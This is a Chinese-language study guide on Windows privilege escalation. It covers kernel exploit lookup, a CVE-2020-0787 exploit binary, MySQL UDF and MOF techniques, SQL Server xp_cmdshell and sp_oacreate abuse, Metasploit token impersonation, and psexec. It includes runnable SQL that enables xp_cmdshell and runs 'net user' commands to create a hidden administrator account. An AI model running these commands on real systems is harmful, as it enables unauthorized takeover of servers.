1.溢出提权
windows权限认识(用户及用户组):
Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。
0x01 普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)。其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
0x02特殊权限
SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
收集系统的信息,查找漏洞:
常见的cmd命令:
1.1 web权限提权
手动检测提权漏洞
- 使用工具查找可提权的漏洞一些大码自带功能:
https://github.com/chroblert/WindowsVulnScan - 使用网上的项目查找可提权的漏洞(好用推荐->systeminfo)
https://i.hacking8.com/tiquan
提权exp: 使用systeminfo //显示信息
保存在桌面上:cd Desktop\ systeminfo >a.txt
杀毒识别:
cd Desktop\ tasklist /svc>1.txt
- 可用exp下载:(大量报毒)
https://github.com/Ascotbe/Kernelhub
https://github.com/SecWiki/windows-kernel-exploits
1.2本地提权(CVE-2020-0787)
利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件;
1.运行,弹出cmd窗口,运行whoami,发现已经取得了system权限。
whoami 查看权限
运行c:\Users\NUIA\Desktop\BitsArbitraryFileMoveExploit.exe
2.数据库提权:
一般网站都会搭建数据库,所以可以用数据库进行提权;
2.1 mysql提权
前提:知道数据库密码;
通过sql注入,爆破,任意文件读取等获取密码。
2.1.1 UDF提权
Udf:
udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。
原理:通过UDF定义⾃定义函数,通过添加新函数,执⾏系统命令。
udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’。sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
条件:1.已经拥有MYSQL的某个⽤户(root)账号
2.知道Mysql版本,安装路径,端⼝是否开放;
下面来整理一下思路:
1.将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下);
2.从udf文件中引入自定义函数(user defined function);
3.执行自定义函数;
2.1.2 MOF提权
MOF文件:
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理:
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
2.1.3 启动项提权
原理:基于Mysql特性的安全问题,导⼊⾃定义的可执⾏⽂件到启动⽬录下,重启后加载可执行文件。 需要开启数据库外联;
2.2 SQL_SERVER 提权
数据库提权的前提条件:
1、服务器开启数据库服务;
2、获取到最高权限用户密码;
数据库存储分类:
系统存储过程、扩展存储过程、用户自定义的存储过程。
1.系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
2.扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;
3.用户定义的存储过程是SQL Server的使用者编写的存储过程;
2.2.1 xp_cmdshell(扩展存储过程提权)
扩展存储过程中xp_cmdshell是一个开放接口,可以让SQL server调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。
此存储过程在SQL server2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。
一、前提条件:
1.已获取到sql server sysadmin权限用户的账号与密码;
2.SQLserver服务未降权:
3.SQLserver可以外连;
二、执行系统命令添加管理员账号提权
1.连接SQL server数据库,检查xp_cmdshell是否开启;
select count(*)
from master.dbo.sysobjects
where xtype='x' and name='sp_oacreate';
/* xtype为对象类型,xtype='x':xp_cmdshell的对象类型
为扩展存储过程。
结果为1表示开启*/
2.启用xp_cmdshell扩展存储过程:
EXEC sp_configure 'show advanced options', 1
/* 默认情况下sp_configure无法查看和更改高级配置选项,
Show advanced options”用来显示或更改当前服务器的全局配置设置。
当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。*/
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
/*reconfigure使语句执行后立即生效,
若无此命令,需重启SQLserver后才生效。*/
关闭:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;/*关闭*/
RECONFIGURE;
查看权限
通过xp_cmdshell执行系统命令whoami,查看当前权限。
EXEC master.dbo.xp_cmdshell 'whoami'
开启前:无法使用权限;
开启后:可以获得权限;
SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。
2.2.2 sp_oacrete提权(无回显)系统存储过程
如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。
sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。
一、前提条件
1.已获取到sql server sysadmin权限用户的账号与密码;
2.SQLserver服务未降权:
3.sql server可以外连;
二、步骤
1.判断sp_oacreate状态
查看sp_oacreate状态,回显为1代表开启。
select count(*)
from master.dbo.sysobjects
where xtype='x' and name='SP_OACREATE';
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行(提权):
declare @shell int;/* # 声明一个变量 @shell*/
exec sp_oacreate 'wscript.shell',@shell output;
/*使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中*/
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user estelle 123456 /add';
/*使用sp_oamethod调用@shell对象中的run方法,执行系统命令添加用户, null是run方法的返回值,
而现在不需要用返回值,所以写为null。*/
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators estelle /add'
/* 将用户添加到管理员组。*/
以上是使⽤sp_oacreate的提权语句,主要是⽤来调⽤OLE对象(Object Linking and Embedd ing的缩写,VB中的OLE对象),利⽤OLE对象的run⽅法执⾏系统命令。
sql server数据库提权链接:
https://blog.csdn.net/weixin_40412037/article/details/112858836
https://blog.csdn.net/weixin_41949487/article/details/114819782
3.令牌窃取
令牌(token)是系统的临时秘钥,相当于账号和密码,⽤来决定是否允许这次请求和判断这次请求是属于哪⼀个⽤户的。它允许你在不提供密码或其他凭证的前提下,访问⽹络和系统资源,这些令牌将持续存在于系统中,除⾮系统重新启动。
令牌类型:
授权令牌(Delegation token):交互式会话登陆(例:本地⽤户登陆、⽤户桌⾯等)
模拟令牌(Impersonation token):⾮交互式登陆(例:net use 访问共享⽂件)
通过msf工具实现;
(1)比如我们已经拿下了一台机器,当前权限如下:
(2)在Metasploit 中内置 incognito.exe工具,可直接使用:
use incognito //使用该模块
list_tokens -u // 查看所有令牌
(3)这里我们来窃取SYSTEM用户的令牌,命令如下:
impersonate_token 'NT AUTHORITY\SYSTEM'
如上图所示,我们已经成功窃取了SYSTEM的令牌;
令牌窃取链接:https://blog.csdn.net/qq_42383069/article/details/124006271
烂土豆提权:
烂⼟⾖(Rotten Potato)提权是⼀个本地提权,是针对本地⽤户的,不能⽤于域⽤户。 借助提权漏洞(MS16-075)去获取令牌。
提权漏洞(MS16-075):
https://github.com/SecWiki/windows-kernel-exploits
4.Bypass UAC绕过
操作系统默认情况下是启⽤UAC,当用户运行软件就会触发UAC规则。执⾏的时候就需要权限,否则是不会运⾏的。
UAC(User Account Control,用户帐户控制),要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。
通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。
Bypass UAC绕过链接:
https://www.cnblogs.com/-mo-/p/12088056.html
5.其他提权方式;
psexec提权:
PsExec属于SysInternalSuite (⼀个windows的内核的套件),是其中⼀个工具。
psexec 这个⼯具能以System账号执⾏⼀个程序;(适合于本地提权 )
psexec -i -s cmd
-i 使⽤交互模式运⾏程序
-s 使⽤SYSTEM账号来运⾏
psexec提权:https://cloud.tencent.com/developer/article/1683102
进程注⼊,迁移
MSF模块使⽤:⼀般administrator(⾼全权限⽤户)提升到system权限;
迁移命令:migrate pid
第三⽅软件提权:⾼权限运⾏的⼀些软件本身存在漏洞;